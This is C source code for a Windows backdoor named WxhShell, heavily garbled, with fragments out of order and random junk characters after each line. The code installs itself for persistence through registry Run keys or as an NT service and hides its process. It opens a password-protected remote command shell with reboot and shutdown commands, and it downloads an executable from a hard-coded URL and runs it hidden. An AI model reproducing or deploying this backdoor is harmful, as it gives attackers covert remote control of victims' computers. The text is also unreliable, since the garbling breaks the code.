PROCNTQSIP NtQueryInformationProcess; oH/6
X2
{n&K
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v634{:'e
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~T<yp
uo`O$k<;
HANDLE hProcess; @^Tof5?F?
PROCESS_BASIC_INFORMATION pbi;
x Bn+-V
'n>,+,&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A?{ X5`y
if(NULL == hInst ) return 0; "zSi9]j
p1B~:9y9X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xFZA18
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i#I+
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r81YL
N 3IF j
if (!NtQueryInformationProcess) return 0; v3 $+l1
4@6!E^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); voRr9E*n
if(!hProcess) return 0;
t#s?:
LM:|Kydp3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2mVcT3
G([8Q8B4+
CloseHandle(hProcess); M{Ss?G4H
w*.q t<rH)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k/+-Tq;
if(hProcess==NULL) return 0; w3lR8R]
D3#/*Ky
HMODULE hMod; e(/~;"r{
char procName[255]; [jl'5l d
unsigned long cbNeeded; !6_lD0
fm2,Mx6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :O:Rfmr~
K5U=%z
CloseHandle(hProcess); V"n0"\k,
eto3dJ!R
if(strstr(procName,"services")) return 1; // 以服务启动 %AbA(F
XCU.tWR:
return 0; // 注册表启动 ]=v_u9;
} k)D:lpxv
Q+/:5Z
C
// 主模块 f(.@]eu
X
int StartWxhshell(LPSTR lpCmdLine) T.kmoLlH
{ }>vf(9sF`
SOCKET wsl; U krqHHpy
BOOL val=TRUE; <VD^f
int port=0; %lZ++?&^
struct sockaddr_in door; /3D!,V,
eCB(!Y|
if(wscfg.ws_autoins) Install(); 1aKYxjYM
Z&W|O>QTl
port=atoi(lpCmdLine); T^h;T{H2
l!f/0Rx5
if(port<=0) port=wscfg.ws_port; }^uUw&
?29zcuRaru
WSADATA data; +5Z0-N@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xz#;F ,`ZR
wH1E7LY|R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <,qJ%kc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -o\$.Q3
door.sin_family = AF_INET; $Z)Dvy|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )@.bkzW
door.sin_port = htons(port); v(^{P
Ju$= Tn
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <)y44x|S'
closesocket(wsl); =jdO2MgSg*
return 1; BQVpp,]
} IdTeue
K7}EL|Kx
if(listen(wsl,2) == INVALID_SOCKET) { P_+S;(QQ~d
closesocket(wsl); DX.u"&Mm
return 1; <mlQn?u
} ! *\)7D
Wxhshell(wsl); <tK6+isc
WSACleanup(); xP3_
s~Wj h7'
return 0; ]c{Zh?0
\UFno$;mA
} DQW^;Ls
:$d3}TjsA+
// 以NT服务方式启动 j &)Xi^^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]g-(|X~>
{ KquHc-fzqr
DWORD status = 0; x.ZV<tDi7
DWORD specificError = 0xfffffff; fI}Z`*
P\;lH"9
serviceStatus.dwServiceType = SERVICE_WIN32; xdp!'1n."g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qF=D,Dlz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yrO'15TB
serviceStatus.dwWin32ExitCode = 0; `L`*jA+_
serviceStatus.dwServiceSpecificExitCode = 0; A<^IG+Q,B7
serviceStatus.dwCheckPoint = 0; [P)'LY6F
serviceStatus.dwWaitHint = 0; F.c`0u;=
XG
]yfux`
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d.tjLeY
if (hServiceStatusHandle==0) return; ~PaD _W#xP
SQ5SvYH
status = GetLastError(); tu6oa[s
if (status!=NO_ERROR) CF9a~^+%
{ o%h"gbvMY!
serviceStatus.dwCurrentState = SERVICE_STOPPED; .6SdSB^M
serviceStatus.dwCheckPoint = 0; w[\*\'Vm0
serviceStatus.dwWaitHint = 0; XyJ*>;q
serviceStatus.dwWin32ExitCode = status; G_zJuE$V
serviceStatus.dwServiceSpecificExitCode = specificError; .:Bjs*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :bwdEni1P
return; s `xp6\$
} NuI9"I/
mk_cub@
serviceStatus.dwCurrentState = SERVICE_RUNNING; {YWj`K
serviceStatus.dwCheckPoint = 0; 4][m!dsU
serviceStatus.dwWaitHint = 0; 0z/tceW'F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8#'<SB
} n )YNt
LtbL[z>]
// 处理NT服务事件,比如:启动、停止 @Ek''a$
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Fq"4%
{ {"!V&}
switch(fdwControl) "C.'_H!Ex
{ AuHOdiJ
case SERVICE_CONTROL_STOP: Fwyv>U
serviceStatus.dwWin32ExitCode = 0; +mhYr]Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; r4dG83qg
serviceStatus.dwCheckPoint = 0; TYWajcch
serviceStatus.dwWaitHint = 0; A?|KA<&m#u
{ cy7GiB2'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #rMMOu9r2
} X'.}#R1
return; ]Rohf WHX
case SERVICE_CONTROL_PAUSE: QR2J;Oj_
serviceStatus.dwCurrentState = SERVICE_PAUSED; hJ.XG<?]$
break; j]rE0Og
case SERVICE_CONTROL_CONTINUE: fF[n?:VV
serviceStatus.dwCurrentState = SERVICE_RUNNING; +e<P7}ZQ
break; vi@a87w>
case SERVICE_CONTROL_INTERROGATE: (*7edc"F
break; [%;LZZgl
}; j+]>x]c0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `GC7o DL
} }|H]>U&
'e02rqip{
// 标准应用程序主函数 NLw#b?%
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dm,7OQ
{ o4o&}
jC
,foqL
// 获取操作系统版本 c.m '%4
OsIsNt=GetOsVer(); f"xi7vJv!f
GetModuleFileName(NULL,ExeFile,MAX_PATH); vmAMlgZ8{<
,Bp\ i
// 从命令行安装 * gr{{c
if(strpbrk(lpCmdLine,"iI")) Install(); -q&VV,
sI/Hcm
// 下载执行文件 K6@QZc5.!
if(wscfg.ws_downexe) { );}k@w
fw)
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) epCU(d*b
WinExec(wscfg.ws_filenam,SW_HIDE); PP/M-Jql)
} T=:O(R1*0
CY)/1 # J
if(!OsIsNt) { =DvFY]9{
// 如果时win9x,隐藏进程并且设置为注册表启动 mC
n,I
HideProc(); tq}sXt
StartWxhshell(lpCmdLine); OZ&J'Y
} UMm<HQ
else 8/U=~*`_
if(StartFromService()) '{\VOU
// 以服务方式启动 yX$I<L<Suz
StartServiceCtrlDispatcher(DispatchTable); ?}m/Q"!1
else cn v4!c0
// 普通方式启动 cE/7B'cR
StartWxhshell(lpCmdLine); M<r'j $g
@y;N
u
return 0; _2q4Aaza
} <_uLf9ja
IQMk :
?Vb=W)Es
m 8rKH\FD}
=========================================== Z}T<^
F
f*Xonb
as)2ny! u
e-,U@_B
Pqo_+fL+
sVZb[|zSri
" X |.'_6l.
P.gk'\<k
#include <stdio.h> Qpndi$2H!
#include <string.h> W*QD'
#include <windows.h> =8X`QUmT
#include <winsock2.h> A5!jrSyv
#include <winsvc.h> V=VL@=
#include <urlmon.h> _YWw7q
zawU
#pragma comment (lib, "Ws2_32.lib") <t,uj.9_
#pragma comment (lib, "urlmon.lib") gd]vrW'wj
0AY23/
#define MAX_USER 100 // 最大客户端连接数
02Ur'|
#define BUF_SOCK 200 // sock buffer d;Z<")
#define KEY_BUFF 255 // 输入 buffer ZO2u[HSO>
[3nhf<O
#define REBOOT 0 // 重启 $^.LZ1Jd
#define SHUTDOWN 1 // 关机 8X!UtHml
Cc0`Y lx~(
#define DEF_PORT 5000 // 监听端口 <P'^olQ
$JypVA(CX
#define REG_LEN 16 // 注册表键长度 (sW:^0 p
#define SVC_LEN 80 // NT服务名长度 a_^3:}i~D
6TbDno/!'
// 从dll定义API o$'Fz[U
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ge`)sB,
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bz_['7D
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j?jEWreq]~
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tv+q~TFB=Z
#StD]d
// wxhshell配置信息 c,Zs.
kC
struct WSCFG { Un]`Gd]:
int ws_port; // 监听端口 *ys@'Ai?
char ws_passstr[REG_LEN]; // 口令 Q
nDy mVF
int ws_autoins; // 安装标记, 1=yes 0=no >a%NC'~rc
char ws_regname[REG_LEN]; // 注册表键名 d0>V^cB '?
char ws_svcname[REG_LEN]; // 服务名 ibl^A=
char ws_svcdisp[SVC_LEN]; // 服务显示名 Bg-C:Ok2'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 G-G!c2o
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oIt.Pc~;'#
int ws_downexe; // 下载执行标记, 1=yes 0=no 9;&2LT7z
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y:FV+ SI
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r[eZV"
m`g%\o^6i
}; 0'TqW9P
r9uY?M
// default Wxhshell configuration &{7n
struct WSCFG wscfg={DEF_PORT, L4zSro:Si
"xuhuanlingzhe", {dg3 qg~
1, E(4ti]'4
"Wxhshell", a)(j68c
"Wxhshell", s^^X.z ,
"WxhShell Service", req=w;E:
"Wrsky Windows CmdShell Service", ci+Pg9sS
"Please Input Your Password: ", 5u:+hB
1, Gnl6>/L,
"http://www.wrsky.com/wxhshell.exe", Qf414 oW
"Wxhshell.exe" 1i_~ZzX8
}; V(L~t=k$
Ar'}#6
// 消息定义模块 #dqZdj@
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; elWN-~
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8q)2)p
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; itm;, Sbg
char *msg_ws_ext="\n\rExit."; e[ i&2mM
char *msg_ws_end="\n\rQuit."; (
]AErz+
char *msg_ws_boot="\n\rReboot..."; nOkX:5
char *msg_ws_poff="\n\rShutdown..."; 8.o[K
char *msg_ws_down="\n\rSave to "; Ufq"_^4
S5"xb
char *msg_ws_err="\n\rErr!"; MCurKT<pQ
char *msg_ws_ok="\n\rOK!"; eoR@5OA&
~"gOq"y5p
char ExeFile[MAX_PATH]; <s9Sx>Zb
int nUser = 0; U@|{RP
HANDLE handles[MAX_USER]; 2N5N^S
int OsIsNt; |O+R%'z'<
[_|iW%<`
SERVICE_STATUS serviceStatus; L0UAS'hf
SERVICE_STATUS_HANDLE hServiceStatusHandle; f4/!iiS}r
b[uTt'p}
// 函数声明 bsr
int Install(void); E-*udQ
int Uninstall(void); GE Xz)4[
int DownloadFile(char *sURL, SOCKET wsh); oMLpl3pl
int Boot(int flag); dWR?1sV|e
void HideProc(void); 7vNS@[8
int GetOsVer(void); (Uv{%q.n6
int Wxhshell(SOCKET wsl); cC"7Vt9b
void TalkWithClient(void *cs); :lgIu .
int CmdShell(SOCKET sock); &4O"Xs`ka
int StartFromService(void); O5_[T43
int StartWxhshell(LPSTR lpCmdLine); 6du"^g
`gfK#0x#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xtpD/,2
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GY@Np^>[a
mTZlrkT
// 数据结构和表定义 ;f?OT7>kN
SERVICE_TABLE_ENTRY DispatchTable[] = PM9HfQU?
{ 3`^]#Dh
{wscfg.ws_svcname, NTServiceMain}, [DGq{(O
{NULL, NULL} T1n GBl\(
}; Qyt6+xL
m$QFtrvy
// 自我安装 #xYkG5`lm
int Install(void) FE M_7M
{ BAX])~_
char svExeFile[MAX_PATH]; /RX7AXXB
HKEY key; #0!C3it6c
strcpy(svExeFile,ExeFile); wKk
!Z%QD\knY
// 如果是win9x系统,修改注册表设为自启动 Rv.W~FE^
if(!OsIsNt) { MAJvjgd..
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '?yZ,t
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @VxBURZ?
RegCloseKey(key); G|3OB:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p&